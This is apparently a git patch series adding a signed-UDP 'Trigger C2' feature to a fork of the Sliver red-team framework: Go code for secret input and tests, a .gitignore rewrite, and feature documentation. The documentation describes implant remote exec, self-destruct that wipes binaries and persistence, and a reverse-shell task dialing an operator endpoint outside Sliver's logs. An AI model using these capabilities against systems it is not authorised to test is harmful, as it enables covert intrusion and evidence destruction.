addr := config.GetTriggerWakeBindAddr(); addr != "" { + _, portStr, splitErr := net.SplitHostPort(addr) + if splitErr == nil { + bindPort = portStr + } else { + bindPort = addr // show raw if parsing fails + } + } + + // Collect C2 transport schemes + var schemes []string + for _, c2 := range config.C2 { + url := c2.GetURL() + if idx := strings.Index(url, "://"); idx > 0 { + scheme := url[:idx] + // Deduplicate + found := false + for _, s := range schemes { + if s == scheme { + found = true + break + } + } + if !found { + schemes = append(schemes, scheme) + } + } + } + + // Allowed client IDs + allowedClients := strings.Join(config.GetTriggerWakeAllowedClientIDs(), ", ") + if allowedClients == "" { + allowedClients = "(any)" + } + + // Stored target + target := store.Targets[e.Name] + if target == "" { + target = "(not set)" + } + + tw.AppendRow(table.Row{ + fmt.Sprintf("%d", i+1), + e.Name, + fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH), + bindPort, + strings.Join(schemes, ","), + allowedClients, + target, + }) + } + + con.Println(tw.Render()) + con.Println() +} diff --git a/client/constants/constants.go b/client/constants/constants.go index 708a6e2096..5e9aae58d3 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -147,6 +147,7 @@ const ( ProfilesStr = "profiles" BeaconStr = "beacon" BeaconsStr = "beacons" + TriggersStr = "triggers" WatchStr = "watch" SettingsStr = "settings" SearchStr = "search" @@ -198,6 +199,7 @@ const ( NamedPipeStr = "named-pipe" TCPListenerStr = "tcp" UDPListenerStr = "udp" + TriggerStr = "trigger" MsfStr = "msf" MsfInjectStr = "msf-inject" diff --git a/client/secretinput/secretinput.go b/client/secretinput/secretinput.go new file mode 100644 index 0000000000..6fd2ec21af --- /dev/null +++ b/client/secretinput/secretinput.go @@ -0,0 +1,138 @@ +package secretinput + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + Three-tier secret resolution for CLI flags that accept sensitive + values (HMAC secrets, encryption keys, etc.). + + Resolution order: + 1. --flag-env ENVVAR – read value from the named env var (no + secret in argv; preferred). + 2. --flag VALUE – literal value on the command line. A + stderr warning is emitted because the value is visible in + `ps` output. + 3. stdin prompt – if neither of the above provides a + value AND stdin is a TTY, prompt with masked input + (term.ReadPassword). If stdin is a pipe, read a single + line (whitespace preserved). + + Callers get a single Resolve() call that returns the secret bytes + or a user-facing error. +*/ + +import ( + "bufio" + "fmt" + "os" + "strings" + + "golang.org/x/term" +) + +// Resolve implements the three-tier secret resolution. +// +// Parameters: +// - envFlagVal: the value of the --*-env flag (env var NAME, not the secret itself). +// Empty string means the flag was not provided. +// - directFlagVal: the value of the direct --*-secret flag (literal secret). +// Empty string means the flag was not provided. +// - directFlagChanged: whether the direct flag was explicitly set by the user +// (distinguishes "" from "not provided"). +// - flagLabel: human-readable label for error messages (e.g. "--trigger-wake-secret"). +// - promptLabel: label shown in the stdin prompt (e.g. "trigger-wake HMAC secret"). +// - warnFn: function to emit warnings (typically con.PrintWarnf or fmt.Fprintf(os.Stderr, ...)). +// +// Returns the resolved secret bytes or an error. +func Resolve( + envFlagVal string, + directFlagVal string, + directFlagChanged bool, + flagLabel string, + promptLabel string, + warnFn func(format string, args ...any), +) ([]byte, error) { + // Tier 1: env var indirection + envFlagVal = strings.TrimSpace(envFlagVal) + if envFlagVal != "" { + secret, ok := os.LookupEnv(envFlagVal) + if !ok { + return nil, fmt.Errorf( + "%s-env: environment variable %q is not set on this host\n"+ + " hint: export %s= before running this command,\n"+ + " or use %s to pass the secret directly (visible in ps)", + flagLabel, envFlagVal, envFlagVal, flagLabel, + ) + } + if strings.TrimSpace(secret) == "" { + return nil, fmt.Errorf("%s-env: environment variable %q is set but empty", flagLabel, envFlagVal) + } + return []byte(secret), nil + } + + // Tier 2: direct CLI value + if directFlagChanged && directFlagVal != "" { + if warnFn != nil { + warnFn("WARNING: %s value is visible in `ps` output; prefer %s-env for production use\n", flagLabel, flagLabel) + } + return []byte(directFlagVal), nil + } + if directFlagChanged && directFlagVal == "" { + return nil, fmt.Errorf("%s: flag was set but value is empty", flagLabel) + } + + // Tier 3: stdin prompt + return readFromStdin(promptLabel) +} + +// ValidateForTemplate checks that a resolved secret does not contain +// characters that would break Go template compilation when the secret +// is embedded in the implant source. Specifically it rejects: +// - Backtick characters (used for raw string literals in Go) +// - Go template directives ({{ and }}) +// +// This mirrors the guard in server/configs/http-c2.go for UserAgent. +func ValidateForTemplate(secret []byte) error { + s := string(secret) + if strings.Contains(s, "`") { + return fmt.Errorf("secret contains characters unsafe for implant template embedding (backtick or template directive); use a different secret") + } + if strings.Contains(s, "{{") || strings.Contains(s, "}}") { + return fmt.Errorf("secret contains characters unsafe for implant template embedding (backtick or template directive); use a different secret") + } + return nil +} + +// readFromStdin reads a secret from stdin. If stdin is a TTY, it uses +// term.ReadPassword for masked/no-echo input. If stdin is a pipe, it +// reads a single line (preserving leading/trailing whitespace). +func readFromStdin(promptLabel string) ([]byte, error) { + fd := int(os.Stdin.Fd()) + if term.IsTerminal(fd) { + fmt.Fprintf(os.Stderr, "Enter %s: ", promptLabel) + secret, err := term.ReadPassword(fd) + fmt.Fprintln(os.Stderr) // newline after masked input + if err != nil { + return nil, fmt.Errorf("failed to read secret from terminal: %w", err) + } + if strings.TrimSpace(string(secret)) == "" { + return nil, fmt.Errorf("secret input was empty (stdin prompt for %s)", promptLabel) + } + return secret, nil + } + + // Piped stdin: read single line (preserve whitespace) + scanner := bufio.NewScanner(os.Stdin) + if scanner.Scan() { + line := scanner.Text() + if strings.TrimSpace(line) == "" { + return nil, fmt.Errorf("secret input was empty (piped stdin for %s)", promptLabel) + } + return []byte(line), nil + } + if err := scanner.Err(); err != nil { + return nil, fmt.Errorf("failed to read secret from piped stdin: %w", err) + } + return nil, fmt.Errorf("no input received on stdin for %s", promptLabel) +} diff --git a/client/secretinput/secretinput_test.go b/client/secretinput/secretinput_test.go new file mode 100644 index 0000000000..6cb7d5547e --- /dev/null +++ b/client/secretinput/secretinput_test.go @@ -0,0 +1,209 @@ +package secretinput + +import ( + "strings" + "testing" +) + +func TestResolve_Tier1_EnvVar(t *testing.T) { + t.Setenv("TEST_SECRET_OK", "my-hmac-secret") + + secret, err := Resolve( + "TEST_SECRET_OK", // envFlagVal + "", // directFlagVal + false, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + nil, // warnFn + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(secret) != "my-hmac-secret" { + t.Fatalf("got %q, want %q", string(secret), "my-hmac-secret") + } +} + +func TestResolve_Tier1_EnvVarNotSet(t *testing.T) { + _, err := Resolve( + "DEFINITELY_NOT_SET_XYZ123", // envFlagVal + "", // directFlagVal + false, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + nil, // warnFn + ) + if err == nil { + t.Fatalf("expected error for unset env var") + } + if !strings.Contains(err.Error(), "is not set") { + t.Fatalf("expected 'is not set' in error, got: %v", err) + } + if !strings.Contains(err.Error(), "hint") { + t.Fatalf("expected hint in error message, got: %v", err) + } +} + +func TestResolve_Tier1_EnvVarEmpty(t *testing.T) { + t.Setenv("TEST_SECRET_EMPTY", "") + + _, err := Resolve( + "TEST_SECRET_EMPTY", // envFlagVal + "", // directFlagVal + false, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + nil, // warnFn + ) + if err == nil { + t.Fatalf("expected error for empty env var") + } + if !strings.Contains(err.Error(), "empty") { + t.Fatalf("expected 'empty' in error, got: %v", err) + } +} + +func TestResolve_Tier2_DirectValue(t *testing.T) { + var warnings []string + warnFn := func(format string, args ...any) { + warnings = append(warnings, format) + } + + secret, err := Resolve( + "", // envFlagVal (not set) + "direct-secret", // directFlagVal + true, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + warnFn, // warnFn + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(secret) != "direct-secret" { + t.Fatalf("got %q, want %q", string(secret), "direct-secret") + } + if len(warnings) == 0 { + t.Fatalf("expected ps-visibility warning") + } + if !strings.Contains(warnings[0], "visible in `ps`") { + t.Fatalf("warning should mention ps visibility, got: %s", warnings[0]) + } +} + +func TestResolve_Tier2_DirectValueEmpty(t *testing.T) { + _, err := Resolve( + "", // envFlagVal + "", // directFlagVal + true, // directFlagChanged (flag was set but value is "") + "--test-secret", // flagLabel + "test secret", // promptLabel + nil, // warnFn + ) + if err == nil { + t.Fatalf("expected error for empty direct value") + } + if !strings.Contains(err.Error(), "empty") { + t.Fatalf("expected 'empty' in error, got: %v", err) + } +} + +func TestResolve_Tier1_TakesPrecedenceOverTier2(t *testing.T) { + t.Setenv("TEST_SECRET_PREC", "from-env") + + secret, err := Resolve( + "TEST_SECRET_PREC", // envFlagVal + "from-direct", // directFlagVal + true, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + nil, // warnFn + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(secret) != "from-env" { + t.Fatalf("tier 1 should take precedence: got %q, want %q", string(secret), "from-env") + } +} + +// --------------------------------------------------------------------------- +// DIRECTIVE 1: ValidateForTemplate — reject backticks and template directives +// --------------------------------------------------------------------------- + +func TestValidateForTemplate_BacktickRejected(t *testing.T) { + err := ValidateForTemplate([]byte("secret`with`backticks")) + if err == nil { + t.Fatal("expected error for backtick in secret") + } + if !strings.Contains(err.Error(), "unsafe for implant template embedding") { + t.Fatalf("unexpected error message: %v", err) + } +} + +func TestValidateForTemplate_TemplateOpenRejected(t *testing.T) { + err := ValidateForTemplate([]byte("secret{{.Bad}}value")) + if err == nil { + t.Fatal("expected error for {{ in secret") + } + if !strings.Contains(err.Error(), "unsafe for implant template embedding") { + t.Fatalf("unexpected error message: %v", err) + } +} + +func TestValidateForTemplate_TemplateCloseRejected(t *testing.T) { + err := ValidateForTemplate([]byte("secret}}value")) + if err == nil { + t.Fatal("expected error for }} in secret") + } + if !strings.Contains(err.Error(), "unsafe for implant template embedding") { + t.Fatalf("unexpected error message: %v", err) + } +} + +func TestValidateForTemplate_CleanSecretAccepted(t *testing.T) { + err := ValidateForTemplate([]byte("perfectly-fine-secret-1234!@#$%")) + if err != nil { + t.Fatalf("unexpected error for clean secret: %v", err) + } +} + +// --------------------------------------------------------------------------- +// DIRECTIVE 2: whitespace preservation — secrets with leading/trailing spaces +// --------------------------------------------------------------------------- + +func TestResolve_Tier1_PreservesWhitespace(t *testing.T) { + t.Setenv("TEST_SECRET_SPACES", " spaced-secret ") + + secret, err := Resolve( + "TEST_SECRET_SPACES", // envFlagVal + "", // directFlagVal + false, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + nil, // warnFn + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(secret) != " spaced-secret " { + t.Fatalf("tier 1 should preserve whitespace: got %q, want %q", string(secret), " spaced-secret ") + } +} + +func TestResolve_Tier2_PreservesWhitespace(t *testing.T) { + secret, err := Resolve( + "", // envFlagVal + " spaced-direct ", // directFlagVal (has leading/trailing spaces) + true, // directFlagChanged + "--test-secret", // flagLabel + "test secret", // promptLabel + func(string, ...any) {}, // warnFn (swallow warning) + ) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if string(secret) != " spaced-direct " { + t.Fatalf("tier 2 should preserve whitespace: got %q, want %q", string(secret), " spaced-direct ") + } +} From e34ad82ae0a1e29ebfd05d920bbefe29608e10c5 Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:53:32 -0400 Subject: [PATCH 6/7] docs: trigger C2 documentation and gitignore cleanup - Trigger C2.md: complete feature documentation covering architecture (ad-hoc exec + wake session), quickstart, intent kinds, command reference, configuration flags, implant-side intents, TTL deadman switch (runtime + server-side reaper), security model, wire protocol - .gitignore: resolved merge conflict markers, added editor swap file patterns --- .gitignore | 268 +++++++++++++++---- docs/sliver-docs/pages/docs/md/Trigger C2.md | 223 +++++++++++++++ 2 files changed, 439 insertions(+), 52 deletions(-) create mode 100644 docs/sliver-docs/pages/docs/md/Trigger C2.md diff --git a/.gitignore b/.gitignore index 8b42f27e1c..865b577f9d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,62 +1,226 @@ -/crush - -/examples - -/.vscode -/.vscode/* -/.devcontainer -/.idea - -/artifacts -/artifacts/** - -*.rc - -/Dockerfile.* -/*.sdk.tar.xz - -/release-* - -# Diffs +.fsm/ +__pycache__/ +tools/__pycache__/ +# Environment / secrets +.env +.env.* +!.env.example +!.env.template +*.key +*.pem +*.p12 +*.pfx +*.crt +*.cer +*.csr +*.jks +*.keystore +secrets/ +credentials/ +private/ +*.age +*.sops.yaml +.git/ +*.obsidian/ +.github + +# Local config +config.local.* +*.local +*.local.* +.local/ + +# Logs +*.log +logs/ +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# Runtime / temp +tmp/ +temp/ +.tmp/ +.cache/ +.cache-*/ +*.tmp +*.temp +*.bak +*.backup *.orig -# Binaries -/sliver-server -/sliver-server_arm64 -/sliver.exe -/sliver-server_* - -/sliver-client -/sliver-client_arm64 -/sliver-client.exe -/sliver-client_* +# Local lab state (testing/ scripts artifacts: daemon pid, operator cfg, built implants) +.lab/ -sliver-server-linux.zip -sliver-server-macos.zip -sliver-server-windows.zip +# Internal workflow + testing docs — fork-only, not for upstream PR +workflow.md +testing.md +# Dependencies +node_modules/ +vendor/ +bower_components/ -# Binaries for programs and plugins -*.exe -*.dll +# Build output +dist/ +build/ +out/ +target/ +release/ +debug/ +bin/ +obj/ +coverage/ +public/build/ + +# Test / coverage artifacts +.coverage +coverage.xml +htmlcov/ +.pytest_cache/ +.nyc_output/ +test-results/ +playwright-report/ +cypress/videos/ +cypress/screenshots/ + +# Package manager caches +.npm/ +.yarn/cache/ +.yarn/unplugged/ +.yarn/build-state.yml +.pnpm-store/ + +# Python +__pycache__/ +*.py[cod] +*.pyo +*.pyd +.venv/ +venv/ +env/ +ENV/ +pip-wheel-metadata/ +.eggs/ +*.egg-info/ +.mypy_cache/ +.ruff_cache/ +.tox/ +.nox/ + +# Java / JVM +*.class +*.jar +*.war +*.ear +.gradle/ +.mvn/ +hs_err_pid* + +# Go +*.test +*.out +go.work.sum + +# Rust +target/ +Cargo.lock + +# Usually ignore Cargo.lock only for libraries. +# For applications, commit Cargo.lock. + +# C / C++ / native +*.o +*.obj *.so *.dylib - -# Test binary, build with `go test -c` -/*.test -/test.py - -# Output of the go coverage tool, specifically when used with LiteIDE -/*.out - -# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 -.glide/ - -.DS_Store - -dist/ -.gocache/ -.gomodcache/ +*.dll +*.exe +*.a +*.lib +*.pdb +*.dSYM/ + +# .NET +[Bb]in/ +[Oo]bj/ +*.user +*.suo +*.rsuser + +# Terraform / IaC +.terraform/ +*.tfstate +*.tfstate.* +crash.log +crash.*.log +override.tf +override.tf.json +*_override.tf +*_override.tf.json +.terraform.lock.hcl + +# Usually commit .terraform.lock.hcl for real infra repos. + +# Docker / containers +.docker/ +docker-compose.override.yml + +# Databases / dumps +*.sqlite +*.sqlite3 +*.db +*.dump +*.sql.gz +*.bak + +# Archives / generated bundles +*.zip +*.tar +*.tar.gz +*.tgz +*.rar +*.7z + +# Reports / scans / local recon artifacts +reports/ +findings/ +screenshots/ +loot/ +burp/ +zap/ +nuclei-output/ +nmap/ +masscan/ +*.pcap +*.pcapng +*.har + +# Generated docs +site/ +docs/_build/ + +# Misc +*.pid +*.seed +*.pid.lock + +# AI +CLAUDE.md +.claude/ +system.md +system-prompt.md +AGENTS.md # Flag to show that go-assets.sh has been run .downloaded_assets + +# Local dev workspace +go.work +go.work.sum + +# Editor swap files +*.swp +*.swo +*~ diff --git a/docs/sliver-docs/pages/docs/md/Trigger C2.md b/docs/sliver-docs/pages/docs/md/Trigger C2.md new file mode 100644 index 0000000000..7bbf5cc60b --- /dev/null +++ b/docs/sliver-docs/pages/docs/md/Trigger C2.md @@ -0,0 +1,223 @@ +The Trigger feature adds an **authenticated, quiet, signed-UDP task dispatcher** to Sliver. Operators start a listener with one or more task bindings; signed UDP packets from anywhere in the world fire the bound action. No TCP, no clock-driven beacon traffic, no ACK packets that telegraph the listener's existence. + +It's the right tool for: "wake this implant now," "kill that listener," "fire this shell-out," "burn that implant." The protocol is integrity-only -- see the **Security Model** section below for what it does and doesn't protect. + +The listener core is imported as a library (`github.com/0x90pkt/trigger/pkg/listener`) -- the Sliver fork just provides the gRPC bridge, the console commands, and Sliver-specific task handlers. + +All trigger operations are built into sliver-server and sliver-client. No external binaries are needed. + +## Trigger implant architecture + +Every trigger implant has **two operational modes**, both always baked in: + +1. **Ad-hoc exec** -- bidirectional UDP command execution. The operator fires a signed "exec" packet; the implant runs the command and returns output over UDP. No C2 session required. + +2. **Wake session** -- on receipt of a signed "wake" packet, the implant establishes an **interactive SESSION** (not a beacon) over its configured C2 transports. For maximum flexibility, specify both `--mtls` (TCP) and `--wg` (UDP) when generating the implant. + +Trigger implants **never use beacon mode**. The wake callback always establishes a full interactive session. + +# Quickstart + +``` +sliver > trigger --lhost 0.0.0.0 --lport 46290 \ + --secret-env TRIGGER_SECRET \ + --server-id site-A \ + --task wake-jumpbox:wake-beacon: \ + --task kill-mtls:stop-job:mtls-8443 + +[*] Starting trigger listener on 0.0.0.0:46290 ... +[*] Successfully started trigger listener as job #4 +[*] Registered tasks: + wake-jumpbox wake-beacon -> beacon= + kill-mtls stop-job -> job=mtls-8443 +``` + +Send a wake from the sliver console (no external tools): + +``` +sliver > trigger send wake \ + --secret-env TRIGGERWAKE_SECRET \ + --client-id operator-jc \ + --comms mtls + +[*] Firing trigger packet: target=:46290 intent=wake client-id=operator-jc +[*] Trigger packet sent to :46290 (intent=wake) +[*] Note: UDP is fire-and-forget -- delivery is not confirmed. +``` + +Or by trigger index (auto-populates port, secret, target from stored config): + +``` +sliver > triggers + Index Name OS/Arch Bind Port C2 Transports Allowed Clients Target + 1 jumpbox-impl linux/amd64 46290 mtls,wg operator-jc 10.0.0.42 + +sliver > trigger send 1 wake --comms wg +``` + +Dispatch a server-side task (no UDP, no HMAC -- handler runs in-process): + +``` +sliver > trigger dispatch 4 wake-jumpbox + +[*] Dispatching task "wake-jumpbox" on job #4 ... +[*] wake-session -> beacon= +[*] Task "wake-jumpbox" dispatched successfully on job #4 +``` + +Server-side audit logs (in Sliver's standard log dir under `c2/trigger-audit`): + +``` +INFO ACCEPT event=trigger_attempt server=site-A client=operator-jc \ + intent=wake-jumpbox source=10.0.0.5 nonce=ab12... reason=accepted +``` + +# Task kinds + +Each `--task` flag is a `NAME:KIND:ARGS` triple. The operator picks the name (what the wire packet carries); the kind selects which Sliver-side handler runs. + +### `wake-session` (alias: `wake-beacon`) + +Fires a wake signal for a trigger implant. Trigger implants establish an **interactive session** (not a beacon) when woken. For backward compatibility with legacy beacon configurations, the handler also updates the beacon's `NextCheckin` field if the target UUID corresponds to an existing beacon. + +``` +--task wake-jumpbox:wake-beacon:8e7f1c0a-1234-5678-90ab-cdef01234567 +``` + +Argument: the target UUID (`sessions` or `beacons` shows it). + +### `stop-job` + +Stops a Sliver job by name. First active match wins; if you have multiple jobs with the same name, bind multiple tasks with distinct labels. + +``` +--task kill-mtls:stop-job:mtls +--task kill-https:stop-job:https +``` + +Argument: the job's `Name` field (`jobs` shows it). + +### `exec` + +Run a configured command on the Sliver server host. **Designed not to be a shell-injection backdoor**: + +- Absolute-path command + pre-split argv. **No shell interpolation**, no `sh -c "..."` codepath. +- Subprocess starts with a fresh, minimal environment containing only `PATH`, `HOME`, task context (`INTENT`, `CLIENT_ID`, `SOURCE_IP`, `NONCE`, `TIMESTAMP`), plus whatever the operator added via the binding. **The operator's HMAC shared secret cannot leak into the subprocess.** +- Per-invocation context deadline (default 10s) kills runaways. +- Bounded stdout/stderr capture (64KB). + +``` +--task run-rotate:exec:/usr/local/bin/rotate-keys.sh,--verbose +``` + +Argument: absolute-path command, then comma-separated args (no shell quoting; one arg per comma-separated token). + +### `reverse-shell` + +Dial a pre-bound operator endpoint over TCP (optionally TLS), exec a shell, plumb stdin/stdout/stderr over the socket. **Bypasses Sliver's session machinery entirely** -- no session record, no entry in `sessions`, no Sliver session logs. Audited only in the trigger's own log. + +``` +--task shellback:reverse-shell:10.0.0.5:4444,tls +``` + +Argument: `host:port` of the operator's listening shell, optionally `,tls` to wrap the connection. Shell path defaults to `/bin/sh -i` on Unix and `cmd.exe` on Windows; configurable per binding. + +The bind-config approach means a crafted `client_id` can't redirect the shell to an attacker's endpoint -- the destination is locked at listener-start. + +# Commands + +| Command | Purpose | +|---|---| +| `generate trigger ...` | Build a trigger implant (two modes: ad-hoc exec + wake session) | +| `triggers` | List all generated trigger implants (indexed) | +| `triggers target ` | Associate a deployment IP with a trigger implant | +| `trigger ...` | Start a server-side trigger listener with task bindings | +| `trigger tasks ` | Print the bindings registered against a running listener | +| `trigger dispatch ` | Dispatch a server-side task handler (no UDP, runs in-process) | +| `trigger send ` | Send a signed UDP packet to an implant (wake, self-destruct, exec) | +| `jobs` | Lists all jobs including trigger listeners | +| `jobs --kill ` | Stop a trigger listener (reuses Sliver's generic job kill) | + +# Configuration + +| Flag | Meaning | +|---|---| +| `--lhost` / `--lport` | UDP bind | +| `--secret-env` | env var NAME on the **operator** host holding the HMAC shared secret. Read locally, sent over mTLS-protected gRPC to the server. Avoids putting raw secrets in argv. | +| `--server-id` | Audit identifier embedded in events | +| `--task` | Repeatable; `NAME:KIND:ARGS` (see above) | +| `--allowed-source` | Repeatable; exact IP or CIDR (v4/v6). Empty = any source. | +| `--allowed-client` | Repeatable; client_id allowlist. Empty = any signed client. | + +# Implant-side wake + self-destruct + +When an implant is built with `IncludeTriggerWake=true` in its config (always true for `generate trigger`), it runs a **passive UDP listener** before any C2 traffic. The implant blocks on the wake channel until an operator explicitly wakes it -- zero network traffic until then. Three hardcoded intents: + +- `wake` -- unblocks the C2 channel so the implant establishes an **interactive session** (not a beacon). On initial startup this is the first C2 dial-home; on subsequent wakes it re-establishes the session. +- `self-destruct` -- fires the implant's burn primitive (self-deletes the binary, wipes the operator-configured persistence artifacts, exits). +- `exec` -- **bidirectional**: executes a command on the implant and sends the output back to the operator over UDP. The command is specified in the `--payload` flag. Output is capped at ~7KB and the exec timeout is 30 seconds. The response is HMAC-signed with the same shared secret. + +**Transport options for the wake callback:** +- `--mtls` -- TCP callback via mTLS. Reliable, works through most NAT/firewalls. +- `--wg` -- UDP callback via WireGuard. Lower overhead. +- Recommended: specify **both** `--mtls` and `--wg` for maximum flexibility. + +Example: + +``` +sliver > trigger send 10.0.0.5 exec \ + --payload "id" \ + --secret-env TRIGGERWAKE_SECRET + +[*] Firing trigger packet: target=10.0.0.5:46290 intent=exec client-id=sliver-operator +[*] Payload: id +[*] Trigger packet sent to 10.0.0.5:46290 (intent=exec) +[*] Exit code: 0 +[*] Output: +uid=1000(user) gid=1000(user) groups=1000(user) +``` + +These intents are baked in at implant build time -- not operator-configurable post-build -- because the implant runs in hostile environments where exposing a dispatch surface would be a foothold. + +The implant's bind address, HMAC secret, and per-client allowlist all come from `ImplantConfig` template fields (`TriggerWakeBindAddr`, `TriggerWakeSecret`, `TriggerWakeAllowedClientIDs`) populated at build time. + +## TTL (deadman switch) + +When the implant is built with `TTLEnabled=true`, a minute-cadence ticker starts counting down from process start (not build time). Two layers enforce the TTL: + +**Primary — implant-side watchdog.** The implant computes its deadline as `time.Now() + TTLMinutes` at process startup. Every authenticated trigger packet (any intent: wake, exec, self-destruct) resets the countdown to a fresh `TTLMinutes` from now. An actively-used implant never self-destructs from TTL. When the deadline expires without activity, the implant burns itself — same path as operator-fired self-destruct, same `BurnExtraPaths` + `BurnPersistence` lists. + +**Fallback — server-side reaper.** The Sliver server runs a background sweep every 5 minutes. It tracks trigger implant activity (updated on every `trigger send` call) and, if an implant has gone silent past its TTL, fires a self-destruct packet as a last resort. Rate-limited to one attempt per hour per implant. + +Key design properties: + +- **TTL starts at runtime, not build time.** The implant binary can be stored and reused across deployments without expiring on the shelf. Only `TTLMinutes` is baked in — no absolute timestamp. +- **Activity resets the countdown.** Any authenticated signal proves the operator is alive and extends the deadline. +- **Two-layer defense-in-depth.** If the implant's watchdog fails (crash, bug), the server attempts cleanup. + +Configurable per build via `--ttl ` (minimum 1 minute). Example: `--ttl 720h` for 30 days. + +# Security model + +| Property | Mechanism | +|---|---| +| Message integrity | HMAC-SHA256 over canonical JSON, `hmac.Equal` (constant time) | +| Sender identity | Per-client key registry (`--allowed-client` + future per-client secrets) | +| Replay defense | TTL'd nonce cache, bounded; over-cap inserts refuse rather than silently evict | +| Source allowlist | Exact IPs + CIDR ranges, v4 + v6 | +| Pre-HMAC DoS | Global packets-per-second cap (source-IP-agnostic; UDP source is forgeable) | +| Post-HMAC fairness | Per (client_id, source_ip) cap, applied after auth | +| Handler isolation | ctx deadline + panic recovery | +| No timing oracle | NO ACK packets emitted. Every reject branch is silent -- only the audit log knows. | + +## What it doesn't protect + +- **Confidentiality.** Task labels, client_ids, and nonces ride in plaintext over UDP. Wrap with DTLS or run over a VPN if you need confidentiality. +- **Transport identity.** HMAC proves the message was signed with a known key; it doesn't prove who typed the trigger. Pair per-client keys with operational controls (one key per operator). +- **Forensic invisibility of self-destruct.** The burn primitive zero-fills + unlinks on POSIX and best-effort-deletes on Windows. A defender with a pre-burn disk image can still recover binaries. + +# Wire protocol + +JSON over UDP. Canonical signable payload uses Go's deterministic alphabetical key order so cross-language ports (Python, Rust) produce byte-identical HMAC inputs. Version pinned at `1`; any wire change MUST bump the version and break verifying receivers. + +The standalone repo (`github.com/0x90pkt/trigger`) carries locked wire-compat regression vectors (`pkg/protocol/vectors_test.go`) -- those are the reference contract. From 9ab80fed91db0653d0bfdb01a01cc47f4881544e Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:53:43 -0400 Subject: [PATCH 7/7] chore: remove development-only artifacts Remove files that were used during local development and are not part of the trigger C2 feature. --- AGENTS.md | 18 ------------------ 1 file changed, 18 deletions(-) delete mode 100644 AGENTS.md diff --git a/AGENTS.md b/AGENTS.md deleted file mode 100644 index 27fc968040..0000000000 --- a/AGENTS.md +++ /dev/null @@ -1,18 +0,0 @@ -# Repository Guidelines - -## Build, Test, and Development Commands -- `make` builds server + client using vendored modules and runs `go-assets.sh`. -- `make client` builds a CGO-free client; `make debug` keeps symbols. -- `make pb` regenerates protobuf stubs from `protobuf/`. -- `./go-tests.sh` runs the Go test suite, this is the only way you should run unit tests. -- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build. - -## Coding Style & Naming Conventions -- Run `gofmt` on all Go code; keep package names lowercase and idiomatic. -- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces. -- Do not import `server` packages from `client`. - -## Testing Guidelines -- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .` -- Add or update tests when behavior changes; some server packages run longer tests. -